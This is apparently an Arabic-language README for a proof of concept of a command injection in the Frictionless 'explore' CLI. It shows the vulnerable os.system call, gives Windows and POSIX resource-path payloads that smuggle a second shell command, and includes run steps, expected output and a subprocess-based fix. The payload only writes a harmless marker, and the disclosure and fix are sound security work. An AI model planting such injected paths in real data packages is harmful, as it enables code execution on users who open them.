
إثبات مفهوم لـ CVE-2026-93349، وهو حقن أوامر في نظام التشغيل في Frictionless <= 5.20.0rc1 عبر واجهة سطر أوامر explore من خلال مسارات وصف حزمة البيانات الخبيثة.
<= 5.20.0rc1 explore في Frictionlessالخطورة: عالية، CVSS 3.1 8.8
المتجه: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
المتأثر: جميع إصدارات Frictionless <= 5.20.0rc1
المكوّن: frictionless.console.commands.explore
CWE: CWE-78 (حقن أوامر نظام التشغيل)، CWE-20 (التحقق غير الصحيح من المدخلات)
تم اكتشافه والإبلاغ عنه بواسطة: Sai Teja Erukude
تحتوي إصدارات Frictionless حتى الإصدار التجريبي 5.20.0rc1 ضمناً على
ثغرة حقن أوامر نظام التشغيل في أمر CLI frictionless explore.
يقوم الأمر بتحميل وصف Data Package المقدَّم من المستخدم، وجمع مسارات الموارد،
واشتقاق resource.normpath، ودمج تلك المسارات في سلسلة أمر واحدة،
ثم تمرير تلك السلسلة مباشرة إلى os.system:
paths = [resource.normpath for resource in resources if resource.normpath]
os.system(f"vd {' '.join(paths)}")
نظراً لأن resources[*].path عبارة عن بيانات وصفية يتحكم بها الوصف من
datapackage.json، يمكن للمهاجم تضمين محارف shell الوصفية في مسار المورد.
عندما يقوم الضحية بتشغيل frictionless explore على الوصف الخبيث،
يفسّر الـ shell تلك المحارف الوصفية وينفّذ الأمر المحقون.
قد ينفّذ المهاجم أوامر عشوائية في سياق الأمان الخاص بالمستخدم
الذي يشغّل frictionless explore.
قد يؤثر ذلك على سير العمل حيث يقوم المستخدمون بفحص أو التحقق من أو استكشاف أوصاف Data Package من مشاريع أو أرشيفات أو مستودعات أو مجموعات بيانات مشتركة غير موثوقة.
اعتماداً على البيئة المحلية، قد يسمح ذلك بما يلي:
المسار المصاب هو أمر explore:
frictionless explore <package>
-> Package.from_descriptor(...)
-> Resource.list()
-> resource.normpath
-> os.system(f"vd {' '.join(paths)}")
يقوم PoC بإنشاء وصف Data Package حيث يحتوي resources[0].path على
حمولة كتابة ملف علامة غير ضارة.
على Windows، يستخدم المسار المُنشأ فواصل الأوامر &:
data.csv & echo frictionless_explore_command_injection_triggered>"...\marker.txt" & rem
على أنظمة POSIX، يستخدم المسار المُنشأ فواصل الأوامر المنقوطة:
data.csv; printf %s frictionless_explore_command_injection_triggered > .../marker.txt; #
يستدعي المشغّل أمر frictionless explore الحقيقي من الحزمة المثبّتة.
يقوم بمسح PATH للعملية الفرعية حتى لا يُطلق عارض vd المقصود بشكل تفاعلي،
لكن الأمر المحقون لا يزال يُنفَّذ عندما يحلّل الـ shell سلسلة الأمر المُنشأة.
package_builder.py ينشئ وصف Data Package
الذي يتحكم به المهاجم وملف CSV حميد.
run_poc.py يتحقق من صحة الوصف، ويستدعي
frictionless explore، ويطبع أدلة التنفيذ.
شغّله في بيئة اختبار محلية فقط:
python -m venv .venv
.venv\Scripts\activate
python -m pip install -r requirements.txt
python -B run_poc.py
يقوم requirements.txt المضمّن بتثبيت frictionless==5.20.0rc1، وهو
أحدث إصدار تجريبي مؤكد أنه مصاب في هذا النطاق.
الأدلة المتوقعة على الإصدارات المصابة:
frictionless_version : 5.20.0rc1
installed_package : True
descriptor_valid : True
listed_resource_count : 1
raw_path_contains_payload : True
normpath_contains_payload : True
explore_returncode : 0
viewer_launch_disabled : True
marker_exists : True
marker_contents
frictionless_explore_command_injection_triggered
success : True
الدليل المهم هو أن الوصف الخبيث صالح، وأن المسار الذي يتحكم به الوصف
ينجو حتى resource.normpath، وأن marker.txt يُنشأ بعد تشغيل
frictionless explore.
الحمولة غير ضارة عن قصد. إنها تكتب فقط سلسلة العلامة المحلية هذه:
frictionless_explore_command_injection_triggered
إنها لا تُنشئ جلسة shell، ولا تتصل بخدمة شبكة، ولا تقرأ أسراراً، ولا تحذف بيانات، ولا تعدّل ملفات خارج دليل PoC.
تجنّب تمرير المسارات التي يتحكم بها الوصف إلى shell.
استبدل الاستدعاء المعتمد على shell بـ subprocess.run باستخدام
متجه وسائط:
subprocess.run(["vd", *paths], check=False)
يمرّر هذا كل مسار مورد كوسيطة حرفية إلى vd. تبقى محارف shell
الوصفية داخل المسار محارف عادية داخل مدخل argv الواحد هذا ولا تُنفَّذ.
القائمة السوداء لمحارف مسار محددة أضعف لأن صيغة shell تختلف عبر المنصات والأصداف. حدود استدعاء الأمر هي السبب الجذري، لذا يجب أن يتجنب الإصلاح الدائم تفسير shell.
راجع fix.md للحصول على تصحيح مقترح.
تم اكتشافه والإبلاغ عنه بواسطة Sai Teja Erukude.
تم تنسيق الإفصاح من خلال VulnCheck.
exploit_walkthrough.mdfix.md